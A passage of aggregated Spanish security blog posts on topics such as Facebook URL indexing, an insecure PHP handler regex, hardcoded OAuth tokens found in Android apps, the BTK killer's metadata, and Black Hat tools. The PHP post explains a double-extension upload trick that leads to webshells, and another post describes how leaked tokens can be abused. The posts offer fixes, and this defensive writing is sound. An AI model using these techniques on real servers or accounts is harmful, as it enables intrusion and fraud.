Hay que tener presente que muchas de las veces los clonadores de tarjetas son personas que tienen control con el terminal, así que... ¿por que no iban a poder hacer un ataque de red man in the middle y grabar todo el tráfico de las transacciones para hacer ataques de replay? Además, es mucho más sencillo de esconder, ya que el cable de red del terminal se conecta normalmente a algún sitio que no se ve. A ver si ponemos Latch a algunas tarjetas de crédito pronto.

Saludos Malignos!

Facebook también limpia URLs en Google pero se deja BING

$
0
0
En Septiembre de 2013 publiqué un post titulado "Facebook tiene problemas con la indexación en Google" en el que hacía referencia a la cantidad de direcciones de correo electrónicos indexados en Google por culpa de la mala configuración de las opciones de indexación en los buscadores.

En aquel momento tenían indexados más de 4.000 enlaces a confirmemail.php, uno de los ficheros prohibidos por el fichero robots.txt de Facebook.com. En ellos, mirando en la caché, en la URL indexada, y en el código fuente se podrían localizar muchas direcciones de e-mail de cuentas de Facebook. No es que fuera una gran fuga de datos, pero sí que quedaba "feuno".

Figura 1:4.750 URLs de confirmemail.php indexadas en Google en Septiembre de 2013

Esto es algo que sucede porque las opciones para controlar esta indexación y cacheo de datos confunde mucho a la gente, y al final para tener todo controlado hay que mezclar todas las opciones posibles que os contaba ya en aquel artículo, que son:
Robots.txtPara decirle a la araña del buscador que por favor no indexe el contenido de los archivos que se encuentran en determinados directorios. Esto no protege de que sea indexada la URL o el Título si s encontrado por otros medios
Etiqueta HTML Meta NoIndexEs una etiqueta en código HTML para decirle a Google que, si un archivo ha sido indexado no porque lo haya encontrado la araña del buscador sino porque se ha seguido un enlace, que por favor no indexe su contenido, y tampoco las URLs o Títulos. Existe la misma para NoCache
HTTP Header X-Robots-Tag "Noindex"Para los archivos que no son HTML - y donde no se puede poner una etiqueta HTML Meta - entonces debe ser el servidor Web el que envíe una cabecera para decirle que ese documento no debe ser indexado para nada. Es decir, ni su URL, ni su título, ni nada. Existe la misma para NoCache.
Herramientas del WebmasterPara pedir que una vez que esté indexado un documento en la base de datos - y en la caché - desaparezca, pues hasta que no se elimine, por mucho que se cambie la configuración seguirá estando disponible el contenido.
El caso es que, como la gente de Gmail hizo algo para eliminar las URLs que tenían indexadas de sus correos electrónicos - ya que con Gmail sucedía algo similar - decidí ir a ver si la gente de Facebook había tomado cartas en el asunto... y parece que sí. Al estilo Harry Potter, alguien ha lanzado un conjuro a Google de Evanesco - tal vez usando las herramientas del Webmaster de Google - y en Google ya quedan solo 4 enlaces (que seguro que son recientes).

Figura 2: Ayer quedaban 4 enlaces indexados en Google

Pero, como le sucediera a Gmail, en Facebook parece que también se han olvidado de Bing, así que al igual que quedaban las 121.000 URLs de Gmail indexadas en Bing, también quedan 39.600 URLs de confirmemail.php indexadas en Bing.

Figura 3: 39,600 enlaces de Facebook con confirmemail indexados en Bing

Habrá que modificar el hechizo de G-Evanesco para que también funcione en MS-Evanesco, que si no sigue quedando feuno eso de que los correos queden por ahí.

Saludos Malignos!

Configuración del handler PHP peligrosa para tu sitio Web

$
0
0
Cuando se configura un manejador de extensiones en un servidor web como Apache o Internet Information Services, el servidor web entregará todas las peticiones que se hagan a ficheros de las extensiones registradas al motor configurado para ellas y dejará que sea él quién genere el tratamiento y respuesta adecuado. Así, cuando llega una petición a un fichero JSP o PHP se entregará a un aplicativo u otro, siempre según la configuración de los manejadores de extensiones en el servidor web.

Esto hace que por ejemplo encontremos mensajes de error diferentes cuando hay se recibe de un servidor web un error en un fichero .PHP, o un 404 de un JSP, un 404 de un ASP o un 404 de un TCL. Es simplemente porque son los motores que manejan las extensiones los responsables de generar esos esos códigos y respuestas de error que a veces dan tanto juego.

En el caso de PHP hay una configuración insegura que se encuentra en algunos servidores en los que se configura que deben ser entregados al motor de PHP todos aquellos ficheros con extensión PHP. Si esto no se hace correctamente puede generar problemas de seguridad  graves. En este entorno se puede ver una configuración del manejador de PHP pensada para que se ejecuten todos los ficheros .PHP.

Figura 1: Configuración insegura de un manejador de PHP5

Sin embargo, la expresión regular no está creada para que la extensión sea la última del fichero, por lo que un atacante podría hacer uso del truco de la doble extensión y subir un fichero .PHP.otra_extensión que también sería ejecutada por el servidor - en este caso Apache -. En este ejemplo sencillo el fichero realmente ejecuta un phpinfo().

Figura  2: Fichero test.php.unknow es un PHP que ejecuta un phpinfo()

Una vez subido al servidor web, se puede ver como el motor PHP ejecuta el código contenido en ese fichero. Esto es únicamente por que el nombre del fichero tiene la cadena .PHP, sin importar que esta cadena no sea la parte final del archivo.

Figura 3: Ejecución del fichero test.php.unknow

¿Por qué es esto importante?

Pues porque si un programa de la web que permite subir ficheros hace un forzado seguro de extensión, comprobando que la extensión de un fichero que se sube sea .TXT y resulta que el atacante sube algo como .PHP.TXT entonces el filtro de la web funcionará bien, pero seguirá siendo inseguro para el servidor web.

Para solucionar esto, la configuración que debe realizarse en el manejador debe forzar a que esa cadena sea la última del nombre del fichero. La siguiente captura muestra un ejemplo de expresión regular que configura el manejador solo para ficheros que terminen en las extensiones controladas de PHP.

Figura 4: Expresiones regulares para una configuración segura del manejador de PHP

Si vas a fortificar un servidor Linux con un servidor Web Apache y quieres poner un framework PHP por encima tipo WordPress, Joomla, Prestashop o similares en los que vas a permitir que se suban ficheros desde el cliente - además de poner Latch que nunca viene mal }:) - asegúrate de que filtras bien las extensiones en el framework y de que el manejador de extensiones de tu Apache está correctamente configurado no te vayas a comer una webshell.

Saludos Malignos!

Arqueología del Siglo XXI

$
0
0
"¿Quién iba a pensar que iba a ocupar tan poco? Supongo que en el Siglo XXI, cuando se empezaba a conectar todo el mundo al antiguo Internet no soñarían con que toda la información que ellos serían capaces de generar a lo largo de toda su vida sería algo tan minúsculo. Al fin y al cabo ellos aún estaban atados a La Tierra y no pensarían que su Internet se distribuiría por varios planetas de la galaxia y perdería su viejo nombre para llamarse SkyNet.

Bueno, vamos a hacer el trabajo de la asignatura que si no voy a superar el índice de conocimientos y habilidades necesarias y no conseguiré lograr mi graduación. No estoy dispuesto a pasarme otra semana en la cápsula de aprendizaje y motivación para enderezar mis esfuerzos. Necesito unas vacaciones, quiero ver por fin un río y una montaña de verdad. Los espacios holográficos son perfectos y sin ...¿cómo llaman a esos seres vivos que habitan en los pocos ríos que quedan? ¡Ah, sí! cucarachas-contaminadas, pero son reales. Me da igual que tenga que descontaminare antes y después de visitar un río. Estoy harto de ir a cualquier sala holográfica y tener una representación vívida de cualquier momento de la historia. Necesito sentir que algo es real de verdad, con sus imperfecciones y problemas.

¿Cómo sería vivir cuando las enfermedades no se podían curar o cuando la gente tenía problemas de sobrepeso? ¿Y eso que llamaban vicios? Me sigue maravillando cómo, a pesar de todas esas imperfecciones, nuestra especie ha llegado a subsistir. Nos adaptamos bien a los nuevos escenarios, eso está claro. Nosotros y esas neocucarachas que nos han acompañado.

A ver, vamos a hacer algo de Arqueología del siglo XXI, para ver a quién encontramos hoy en ese lejano y minúsculo Internet de, por ejemplo, 2014. Es curioso que en aquel entonces se preocupasen tanto de la privacidad. O al menos eso decían, porque no parece que hubieran conseguido en alguna forma esa "privacidad". ¿De verdad pensarían que la humanidad tiraría todos los datos que ellos generasen? ¿Cómo se iba a aprender entonces de las debilidades de nuestra especie? Para erradicar todos los problemas que tenían la sociedad debían ser estudiados por los Cientificos Maestros con el objeto de que desarrollasen mejores soluciones.

De todas formas es raro que en aquel entonces aún las relaciones de pareja funcionaran como los animales, con esa fase tan básica de cortejo disimulada con actos sociales. Somos seres inteligentes, ¿por qué tardarían tantos cientos de años en establecer un sistema de apareamiento ordenado y planificado como el que tenemos ahora? Gracias a eso las socializaciones están libres de esos sentimientos tan primigenios del ser. Curioso que en el fondo a alguno le gustara, pero era una perdida de tiempo enorme.

El especimen que estudié el otro día tenía una amante por una red social de amigos basada en la idea de los almanaques de los institutos y colegios universitarios, otra pareja con la que también se apareaba y con la que mantenía contacto usando un sistema arcaico de mensajes llamado algo como Whatsapp, y, además de todo, se había dado de alta en tres redes de contactos para mantener relaciones intimas con perfiles falsos. Y aún así, era una líder ideológico de esos grupos en los que se parapetaban los antiguos sistemas de gobierno. ¿Por qué mentirían tanto los humanos de aquel entonces en las relaciones? ¿Era necesario presumir de haberse relacionado en intimidad con miembros del sexo opuesto para aparearse de nuevo? ¿Cómo se relacionarían entonces las primeras veces? Tengo que seguir indagando más sobre aquella época, o no conseguiré superar la valoración de conocimientos a la que me enfrento.

Hoy voy a ir un poco más atrás en el tiempo, quiero entender por qué empezó esto. Por dónde. Cuándo se introdujeron las primeras debilidades primarias de la especie en la antigua red de Internet. Según los científicos maestros tardaron casi cien años en erradicar los vicios primigenios de la especie humana una vez que estos entraron en la red por medio de los sistemas de comunicación personal. Al final, por todos ellos se colaron los mismos instintos que los humanos llevaban dentro.

Dicen las leyendas que aún se pueden encontrar restos de esos vicios primarios en algunos humanos de la nueva generación, que quedaron ocultos en el ADN y que generación tras generación aún pasan en genes recesivos. Me encantaría saber en qué consistía esa ansiedad, esa gula o esa avaricia de la que hablan. O cómo sería relacionarse con gente con los vicios invertidos. Esos que tenían implantadas virtudes primigenias.

Me siguen maravillando estas formas de relación que usaban los humanos no evolucionados. Grabándose en vídeos mientras se aparean y enviándoselos para aparearse en soledad remotamente. ¿Y la imagen personal? ¿Qué necesidad podrían tener de vestirse distinto o dejarse barba o pelo largo? ¿Para qué querrían ir así? Los que más me gustan son estos, a los que ellos llamaban hipsters. ¿No es más lógico que todo el mundo llevara la misma ropa? ¿Y el pelo? ¿para qué lo querrían si no sirve para nada? ¿O servía para algo? ¿Por tener el pelo largo tendrías más posibilidades de apareamiento?

Curioso. Por suerte, el Gran Orden de hoy en día nos ha salvado de todo aquello.

Bueno, a ver a quién estudiamos hoy para el trabajo de Arqueología del Siglo XXI. Este tiene un gorro y lo lleva puesto en verano ¿Por qué? A ver, vamos a ver qué aprendemos de este hombre. "Alonso" es el nombre de su familia. Vamos a consultar la base de datos de servicios que usó en su vida. Facebook, Twitter, MSN, Skype, WhatsApp, Linkedin, Instagram,... y más de 30 más. Parece que para la época estaba bastante conectado para la media.

¿Por qué tendrían que generar un perfil distinto en cada servicio? Qué forma más ineficiente de trabajar. ¿Por qué llevaría el gorro? ¿Le daría más posibilidades de apareamiento? No parece que en aquella época eso sirviera para tener una buena posición social. Vamos a ver si tenía contactos con muchas féminas primigenias analizando todas sus comunicaciones privadas. Vamos a acceder a todo el historial de conexiones sociales de aquel entonces y los mensajes que intercambiaba con las féminas. A ver si se apareaba por encima o por debajo de la media.

Pues no, no parece que tuviera mucho éxito con el proceso de relación con el sexo contrario. ¿Será por el aspecto como le decían en algunos comentarios y mensajes? De todas formas parece que era uno de los que trabajaba con Internet y ese subgrupo nunca tuvo mucho éxito en los procesos de atracción hacia el sexo opuesto. Si querían aparearse... ¿por qué no todos se hicieron de "cantautores" de esos o músicos del ruido ese que llamaban "Rock"? Parece que es lo que más éxito tenía en aquel entonces. Supongo que sería porque aún tenían que trabajar para vivir en sociedad en lugar de tener el sistema planificado de gestión del tiempo que tenemos hoy en día.

Tras el éxodo de la Tierra y la desaparición del dinero el trabajo se erradicó y los humanos de nueva generación empezaron a pensar en organizarse mejor para que no hiciera falta. ¿Por qué no lo harían en aquel entonces? Es una pena, ellos tenían montañas, mares y ríos. ¡Cómo me gustaría bañarme en un río y saber cómo era de fría o caliente en realidad el agua! O mejor, cómo sería eso que llamaban peces. ¿Te tocarían mientras bañabas? ¿Jugarían contigo?

A ver, vamos a revisar en profundidad los mensajes privados de todas las redes sociales para ver si sabemos más de este especimen. Hoy en día, tras la apertura de los datos arqueológicos de aquel Internet para el estudio de los Científicos Maestros todo está disponible para que aprendamos más de nosotros. No sé porque querrían guardarse las cosas en privado. Al final, es bueno para la sociedad saber cómo mejorar. La sociedad es la suma de todos los individuos. Ellos no, ellos incluso querían borrar sus mensajes para que se perdieran en el tiempo, menos mal que los servicios online sabían de lo valioso que sería esa información para el futuro y nunca borraban nada. Bien por ellos, ¿no?

En fin, a ver si puedo catalogar a este especimen y consigo terminar mi trabajo de Arqueología del Siglo XXI con buena calificación y me dejan tomar la lanzadera para pasar unos ratos en el río que queda en nuestra Tierra madre."

Saludos Malignos!

X Ciclo de Conferencias UPM TASSI de Seguridad 2014

$
0
0
Desde hace ya 10 años, en la Escuela Universitaria de Informática, la asignatura TASSI cuenta con un número de conferencias de profesionales que vienen a contar su experiencia o sus trabajos. Un par de años he estado yo dando alguna sesión por allí. Ahora se han publicado todas las que se han impartido en el año 2014, así que aprovecho para dejároslas por aquí para que podáis ver las que más os gusten. Ahí van:


Conferencia 1: Latch. Protección de identidades digitales,
a cargo del Dr. Antonio Guzmán de Eleven Paths


Conferencia 2: Posibilidades del voto telemático en la democracia digital,
a cargo del Dr. Justo Carracedo de la UPM


Conferencia 3: Bitcoin: moneda y mercados, a cargo de D. Jonás Andradas de GMV


Conferencia 4: Protección de comunicaciones en dispositivos móviles, a cargo de D. Raúl Siles de DinoSec


Conferencia 5: Ethical hacking: afrontando una auditoría interna,
a cargo de D. Pablo González de Eleven Paths


Conferencia 6: La amenaza del cibercrimen, a cargo de D. Juan Salom de la Guardia Civil


Conferencia 7: Ocultación de comunicaciones en el mundo real. Esteganografía y estegoanálisis,
a cargo del Dr. Alfonso Muñoz de http://www.elevenpaths.com

La documentación utilizada por los ponentes puede descargarse desde la sección TASSI de la página web de la red temática Criptored.

Saludos Malignos!

No Lusers 173: El arte de la manipulación

$
0
0
Figura 1: No Lusers 173 - El arte de la manipulación

Nunca me ha gustado - como a casi nadie - que lo manipulen, pero siempre me ha quedado la sensación de que es casi imposible - escuches a quién escuches - que no haya algo de manipulación detrás. Por lo menos, el saber que el filete que sabe a filete no es en realidad filete sino una proyección en mi mente me hace ser más consciente, para poder construir sobre ello algo de diversión. ¿Tiene sentido?

Figura 2: Disco Master of Puppets de Metallica

Sí, este No Lusers está inspirado en la portada del disco de Metallica "Master of Puppets", que sin duda no debes perderte, y por eso te dejo un vídeo con la canción aquí debajo que si hace tiempo que no la escuchas te sonara igual de fresca que hace ya casi 30 años.


Figura 3: Metallica tocando el Master of Puppets con subtitulos

Que tengas un gran fin de semana, lleno de todo el disfrute que puedas tener en esta Matrix en la que habitamos.

Saludos Malignos!

Medir el ritmo cardiaco a través de muros usando Wi-Fi

$
0
0
Las técnicas de visión artificial a través de señales Wi-Fi se publicaron durante el pasado año 2013. A esas tecnologías coloquialmente se las llamó Wi-Vi (WiFi Vision) y tiene la gracia de que puede ser utilizada incluso a través de muros de habitaciones. Desde el punto de vista de seguridad esta disciplina tiene muchas utilidades, buenas y malas, como poder saber si hay alguien en una determinada habitación o vivienda, o para hacer saltar una alarma en una vivienda cuando se detecte que alguien ha entrado en casa.

El trabajo de utilizar Visión vía WiFi fue publicado por el profesor Dina Katabi del Departamento de Ingeniería Eléctrica del MIT y el estudiante de doctorado Fadel Adib, y puedes ver su aplicación en este vídeo.


Figura 1: Sistema de visión a través de muros con Wi-Fi

Tras ese trabajo, ahora le han dado una vuelta a esa idea con una nueva publicación titulada "Multi-Person Motion Tracking via RF Body Reflections", donde además de ver a través de los muros ahora son capaces de llegar a detectar un número exacto de personas en movimiento o detectar el movimiento del pecho de una persona para poder conocer hasta el ritmo cardiaco.
La idea que utilizan se basa en crear un dispositivo con múltiples antenas, de un tamaño muy manejable cercano al de una moneda, para poder triangular todas las señales reflejadas por un cuerpo, detectando en tiempo real el ritmo de la respiración e infiriendo el ritmo cardiaco.

Figura 3: Antenas WiFi incrustadas en el dispositivo que triangula los cuerpos

Aplicado el dispositivo como añadido a los sistemas de monitorización del sueño de los niños se puede conseguir mucha más información y detectar por ejemplo situaciones de emergencia que solo pueden ser detectadas a día de hoy por medio de wereables, tal y como muestran en este vídeo.


Figura 4: Monitorización del ritmo cardiaco de un bebé durmiendo usando WiFi

El abanico de posibilidades que se abre con un sistema de monitorización cardiaca de personas sin necesidad de que haya que tener un dispositivo encima del cuerpo se muestra como una revolución que muchos quieren explorar. No hay que olvidar que la propia Apple compró ya la empresa WiFiSlam especializada en la generación de mapas indoor por medio de tecnología WiFi, como forma de fortalecer su estrategia domótica en el futuro.

Saludos Malignos!

3 de Julio: Escenarios de Seguridad con Latch

$
0
0
El próximo día jueves, 3 de Julio de 2014 desde Eleven Paths haremos un pequeño evento dirigido a responsables de seguridad y sistemas. No será muy largo, pues es solo una actualización de nuestras tecnologías con la presentación especial de Latch for Active Directory,  Latch for OS X, la presentación de casos de uso en clientes que lo han implantado, la integración de Latch con soluciones biométricas, además de la presentación de una nueva actualización de nuestro sistema de Pentesting Persistente Faast

Figura 1: Escenarios de Seguridad contra atacantes internos con Latch

El evento será en el Distrito C de Telefónica, y como es un evento muy dirigido a CSOs, CISOs y CTOs solo hemos reservado una sala para 70 personas, porque queremos poder charlar, comer, discutir y disfrutar un rato del intercambio de ideas, por lo que hemos creado un sistema de pre-registro online en la web Eleven Paths Security Day Julio 2014 para que puedas solicitar tu plaza. La agenda en detalle es la siguiente.

Figura 2: Agenda del evento

Después, los compañeros que están cuidando del registro os enviaran la confirmación de vuestra reserva cuando se pueda garantizar que hay plazas, ya que vamos hacer un pequeño café y un cocktail. Si tienes especial interés en asistir porque estás muy interesado en Latch, MetaShield o Faast, a parte de registrarte no dudes en enviarme un correo para que pueda avisar a los compañeros de ello.

Saludos Malignos!

Vídeos de (casi) todas mis charlas en el canal YouTube

$
0
0
Hace cosa de un mes comencé a recuperar algunas de las charlas que he ido dando a lo largo de los últimos años. Es un trabajo arduo porque muchas tienen más de 10 años, y no las encuentro por ningún sitio, pero al menos he recuperado una buena cantidad de ellas, y las he consolidado en mi canal Youtube.

Figura 1: Hay más de 120 vídeos en el canal

Para que sea más fácil de localizar una charla, las conferencias completas, o los programas y documentales de televisión en los que he participado, los he clasificado en algunas listas por años y por temas. De momento he subido conferencias desde el 2007.

Figura 2: Listas de vídeos por años, programas de TV y charlas en inglés

Seguiré recuperando todas las conferencias que pueda, para dejarlas ahí. La primera charla de Black Hat 2007 sobre LDAD Injection & Blind LDAP Injection aún no la he localizado, pero tienes las primeras charlas de FOCA, de Connection String Parameter Pollution, de Time-Based Blind SQL Injection using heavy queries, de Evil FOCA, de DUST RSS, etcétera, etcétera por allí.

Saludos Malignos!

PlayDrone: Tokens de autenticación en apps Google Play

$
0
0
Un grupo de investigadores de la Universidad de Columbia han publicado un paper titulado "A Measurement Study of Google Play", donde explican cómo han realizado un estudio sobre las apps publicadas en Google Play y los resultados descubiertos, donde llama poderosamente la atención el descubrimiento de los tokens de autenticación hardcodeados en el código de las apps.

Figura 1: El paper que describe PlayDrone y el estudio de Google Play

Los miembros del equipo, Nicolas Viennot, Edward Garcia y Jason Nieh han construido para su análisis PlayDrone, un sistema que hace crawling de todo Google Play para descubrir el máximo número de apps y descargarlas. Hacer esto no es trivial, ya que Google no permite hacer esto, así que han tenido que utilizar técnicas conocidas por la industria de seguridad para obtener la máxima visibilidad de ellas.

Una vez conseguidas las apps, más de 1.000.000 de apps distintas, los investigadores han hecho una serie de catalogación de las apps en base a las librerías que utilizan, los tipos de servicios que ofrecen, etcétera, que siempre vienen bien para poder entender mejor Google Play.

Figura 2: PlayDrone y el análisis de la app de Gmail para Android

Esto es importante, sobre todo vista la industria de Fake Apps que se ha creado alrededor de Android, para poder localizar aquellas que utilizan los mismos patrones, como por ejemplo las mismas librerías de publicidad. O para localizar apps maliciosas que te quieran robar el WhatsApp para que otro te pueda espiar WhatsApp o  los números de teléfono de tu terminal para hacer suscripciones a sistemas SMS Premium.

Sin embargo, lo que más llama la atención es que tras decompilar todas las apps han realizado una búsqueda de tokens OAuth y credenciales para la API de AWS (Amazon Web Services) y han podido descubrir miles y miles de tokens hardcodeados, incluido los de cuentas de Facebook, Twitter, Linkedin, Flickr, BitLy, FourSquare, etcétera.

Figura 3: Tokens de cuentas de servicios localizados en apps 

Cualquiera que consiga estos tokens podrá gestionar gran parte de las cosas que se haya autorizado a ese token, como por ejemplo poner twitts o hacer follow en Twitter (hay más de 28.000 tokens) y poder vender retwitts o seguidores para satisfacer las necesidades de los Community Managers de Cartón Piedra. También podrían hacer like a páginas de Facebook - como hacía el tipo que se cambió el nombre a Mark Zuckerberg - o compartir contenido en los muros de Facebook y distribuir malware (como se hacía con la estafa de la linterna molona), etcétera. Los amigos del Fraude Online seguro que encuentran siempre algo valioso con estas cuentas.


Figura 4: La charla de la presentación del trabajo

El uso de tokens hardcodeados en las apps lo hemos visto no solo en Android y también en las apps de App Store de iPhone se encuentra demasiado comúnmente, como se explica en el libro de Hacking iOS, e incluso a veces pueden encontrarse estos tokens simplemente revisando el log de una app usando el Apple System Log para ver cuándo hace uso de él.

Dicho esto, si tienes una appdesarrollada en iOS o desarrollada en Android, o si piensas hacer una app en breve, aplícate el cuento y ten mucho cuidado con los tokens o passwords que hardcodeas en tu código, que como puedes ver si está en Google Play o en App Store está al alcance de cualquiera.

Saludos Malignos!

NSA PlaySet: Juega con los juguetes de espionaje de la NSA

$
0
0
Dentro de todas las revelaciones sobre las actividades de la NSA que fueron filtradas por Edward Snowden se encontraba el catálogo de herramientas de espionaje de ANT. Un total de 48 proyectos con utilidades para controlar y hackear todo tipo de sistemas que los miembros de la NSA tenían a su disposición.  El catálogo completo lo tenéis este PDF de 48 páginas donde hay todo tipo de utilidades de hacking de red, de herramientas de espionaje SDR, o de gadgets hardware aplicables diferentes esquemas de ataque.

Figura 1: NSA Ant

Ahora, el objetivo en la comunidad hacker es poder recrear todo lo descrito en ese catálogo de ANT, para que el conocimiento de cómo están creadas esas herramientas ayuden a mejorar la seguridad de los sistemas, añadiendo las utilidades al catálogo de los pentesters, o abriendo nuevos caminos a los investigadores de seguridad. 

Para ello, se ha lanzado e proyecto NSA PlaySet, donde cada investigador de seguridad puede aportar su conocimiento sobre cómo está construido cada uno de los proyectos de espionaje de ANT, que están aún en Problemas Abiertos, aportando documentación, herramientas o estudios totales o parciales de cómo está construido o puede replicarse cada uno de ellos.

Figura 3: NSA PlaySet

La verdad es que si tienes un trabajo de fin de carrera o master y no sabes qué hacer, intentar replicar uno de los proyectos de ANT puede ser divertido e interesante. Además, si este verano querías aprovechar el tiempo libre que te quede - si es que te va a quedar algo - juntarse a estudiar uno de ellos, documentarlo y presentarlo al mundo puede ser entretenido cuanto menos.

Saludos Malignos!

El asesino en serie BTK fue descubierto por los metadatos

$
0
0
Todo comenzó con un brutal asesinato en el año 1974. El asesinato de la familia Otero donde el padre, la madre, el hijo y la hija fueron atados, torturados psicológica y físicamente y después asesinados. Ese mismo año volvió a matar, en este caso a una joven de 21 años a la que apuñaló. Estos dos asesinatos conmocionaron a la opinión pública de Wichita, donde tuvieron lugar los asesinatos, pero también levantó cierta admiración morbosa lo que llevó a que algunos impostores llamaran declarándose ellos los asesinos.

El asesino auténtico, que disfrutaba tanto de sus actos como para llegar a masturbarse en el medio de las torturas, no iba a dejar que le quitaran el mérito de sus actos, así que dejó una carta incrustada en un libro de la biblioteca pública de Wichita en la que describió, con todo lujo de detalles, todas y cada una de las atrocidades que había hecho en sus asesinatos.

Su marca sería era, según él mismo decía, Bind them, Torture them and Kill them (Átalos, Tortúralos y Mátalos), que era uno de los nombres mediáticos que él sugería que lo llamaran BTK. En el año 1978, reclamando más atención de los medios, envió una carta a una cadena de televisión local en la que adjuntaba su firma BTK, y convirtiéndose ya oficialmente en el asesino en serie de Wichita.

Figura 1: Carta manuscrita y firma de BTK

En total, desde el año 1974 que comenzó, el número de asesinatos continuó creciendo hasta el año 1991, siendo 10 el número de personas que sufrieron con él. En el año 1988, tras el asesinado de tres miembros de una familia, volvió a escribir una carta a la Policía para dejar claro que él no había sido, a pesar de que consideraba los asesinatos "un buen trabajo". Todos sus asesinatos están recogidos y explicados en detalle en este documental que se hizo para la televisión.


Figura 2: Documental sobre BTK Killer (visto en SecurityByDefault)

La investigación se fue enfriando, hasta que en el año 2004 se volvió a abrir. Esto fue a debido a que la Policía no le había atribuido uno de sus asesinatos a BTK, por lo que comenzó a intercambiar cartas con ellos reclamando la autoría del crimen. Tras confirmar que las cartas podrían ser auténticas, se reabrió la investigación de BTK Killer, y con el avance de la ciencia de investigación forense, se recuperaron muestras de ADN de debajo de las uñas de una de sus víctimas.

Con el anuncio de la obtención de ADN del posible asesino se comenzó a comprobar contra muestras de los principales sospechosos, junto con el de muchas personas que habían sido estigmatizados con las sospechas de ser el ellos el asesino, que decidieron voluntariamente dar muestras de su ADN para poder salir de sospechas. Este proceso por el que pasaron 1.300 personas llevó a eliminar a muchos de los sospechosos que tenía tanto la Policía como la ciudadanía de Wichita, pero no a localizar al asesino.

En una de las cartas que envió, BTK preguntó si podrían seguir el origen en el que había sido utilizado un disquete, a lo que la Policía contesto que no era posible hacer eso - algo que sabemos que no es del todo cierto como sabéis los especialistas en análisis forense informático -. Confiado, el 16 de Febrero de 2005, BTK Killer envió un sobre a la cadena de televisión KSAS-TV - filial de la FOX - de Wichita en el que puso un disquete, una carta, una fotocopia de la cubierta de una novela sobre un asesino en serie y un collar de color oro con un medallón.

Los metadatos que le llevaron a la cárcel

Dentro del disquete de 3 1/2"1.44 MB se pudo recuperar un fichero borrado en formato Microsoft Word que se le había pasado a BTK Killer por no hacer un borrado seguro de los documentos. El archivo recuperado .DOC tenía metadatos, y se podían leer dos cosas importantes. En primer lugar aparecía el texto "Christ Lutheran Church" y en el historial de edición del fichero se podía leer que el último que lo había modificado era el usuario "Dennis". Con esta información, una sencilla búsqueda en Internet puso sobre la mesa un nuevo sospechoso. 

Figura 3: El disco de 3 1/2 que envió BTK Killer (en el NYTimes)

De BTK Killer se suponía que tenía un Jeep Cherokee, que coincidía con el coche de Dennis Reader, el Presidente del Consejo de la Congregación de la Iglesia Luterana de Cristo en Wichita. Solo faltaba la prueba definitiva, conseguir una muestra de ADN y contrastarla con la que había sido recuperada en el año 2004 de las uñas de una de sus víctimas. Para ello, primero consiguieron una orden para poder contrastar la muestra de ADN con la de la hija de Dennis Rader que tenían en la Universidad donde estudiaba. Tras comprobar que había muchas coincidencias, consiguieron la orden de arresto y el asesino BTK Killer fue detenido y condenado a 10 cadenas perpetuas que aún está cumpliendo.

Una vez más un caso de informática forense en el que con un recuperador de archivos y un análisis de metadatos consigue los indicios necesarios para apuntar a un sospechoso sobre que el que focalizar los esfuerzos en la obtención de pruebas. Un ejemplo que añadir a la lista de ejemplos de análisis forense de metadatos.

Saludos Malignos!

Todas las herramientas de Black USA 2014 Arsenal

$
0
0
Esta semana se ha publicado la lista de herramientas que van a componer el Arsenal de Black Hat USA 2014, y este año parece que han batido records en cuanto a número de ellas propuestas, ya que el número que hay es ingente. Entre ellas hay herramientas de compañeros y amigos como ProxyMe de nuestro compañero Manu "The Sur", WhatsApp Privacy Guard de Jaime Sánchez para ayudar evitar los ataques de quienes quieren espiar WhatsApp o Voyeur de Juan Garrido "Silverhack" para auditar un Active Directory usando PowerShell y sin necesidad de cuentas administrativas.

Figura 1: Herramientas en Black Hat USA 2014 Arsenal

La lista es larga, y cuenta con herramientas de gran calado y utilidades pequeñitas pero que pueden resultar más que prácticas para muchos entornos. Aún no están disponibles en la web de Black USA 2014 Arsenal, pero la mayoría de ellas se pueden encontrar en sus repositorios de desarrollo. Este es un resumen que he hecho por si te puede ayudar a localizarlas mejor.

- ANDROID DEVICE TESTING FRAMEWORK: Framework y APIs para auditar Android
- AUTOMATED MEMORY ANALYSIS: Plugins para Cuckoo Sandbox
- BEEF (Browser Explotation Framework): JavaScript Botnets Control Panel
- BREWSKI (BURP RHINO WEB SCANNER): Plugin para Burp scriptable
- C-SCAD: Herramienta de explotación de un cliente SCADA
- CHIPSEC: Auditoría de plataforma (Secure Boot, BadBios, etc..)
- CLASSIFY6: Command Line Tool que clasifica una dirección IPv6
- CYNOMIX: Proyecto de clasificación de malware en familias
- DAMM: Análisis diferencial de malware en memoria
- DEPENDENCY-CHECK: Analiza dependencias entre apps y librerías
- DRADIS: Plataforma para consolidación de datos en auditorías
- FILIBUSTER: Analiza puertos filtrados en firewalls
- FLOWINSPECT: Análisis e inspección de tráfico de  red con reglas
- FSEXPLOITME: ActiveX vulnerable para enseñar Browser Explotation
- HEYBE: Herramienta de pentesting para redes empresariales
- ICE-HOLE: Framework para auditar tests de phishing en auditoría
- IDB: Herramienta automatizada para auditar apps en iOS
- IMAS: iOS Mobile Application Security Libraries
- IMPACKET: Clases en Python para herramientas de hacking de red
- ISPY: Herramientas de auditoría de Apps para iOS
- JTAGULATOR: Herramienta de auditoría de chips en hardware
- MALTRIEVE: Recuperar malware desde la fuente en que se sirve
- MELKOR: Herramienta de Fuzzing para formato de fichero ELF
- MODSECURITY: Popular WAF OpenSource. Lo usamos en FOCA.
- MORNING CATCH: Virtual Machine para enseñar ataques client-side
- MOZDEF THE MOZILLA DEFENSE PLATFORM: Plataforma SIEM de Mozilla
- NFCULT: Auditar y explotar NFC ultralight en Android
- OOPS, RFIDID IT AGAIN: Pentesting de RFID
- OWASP PCI TOOLKIT: Herramientas OWASP para aplicar PCI
- OWASP ZED ATTACK PROXY (ZAP): Popular Proxy para pentesting
- POWERSPLOIT: Metasploit-like escrito en PowerShell
- PRAEDA: Explota impresoras multi-función y saca credenciales
- PROXYME: Proxy HTTP-s con plugins scriptables para auditoría web
- REGEORG: Creación de túneles vía HTTPs a puertos de red
- RICKROLLING YOUR NEIGHBORS WITH GOOGLE CHROMECAST: hacking Chromecast
- SECURESCAN SAAS FREE SCANNER: Vulnerability Management Cloud-Service
- SERPICO: Crear informes con datos de herramientas de auditoría
- SHINOBOT SUITE: R.A.T. Simulator para auditar sistemas
- SIMPLERISK: Herramienta de gestión de riesgo para empresas
- SMARTPHONE PEN-TEST FRAMEWORK: Hacking de usuarios con smartphone
- SNOOPY: Sonda para recolectar información de dispositivos con cercanía
- SPOTLIGHT INSPECTOR: Análisis forense de BBDD Spotlight de OSX
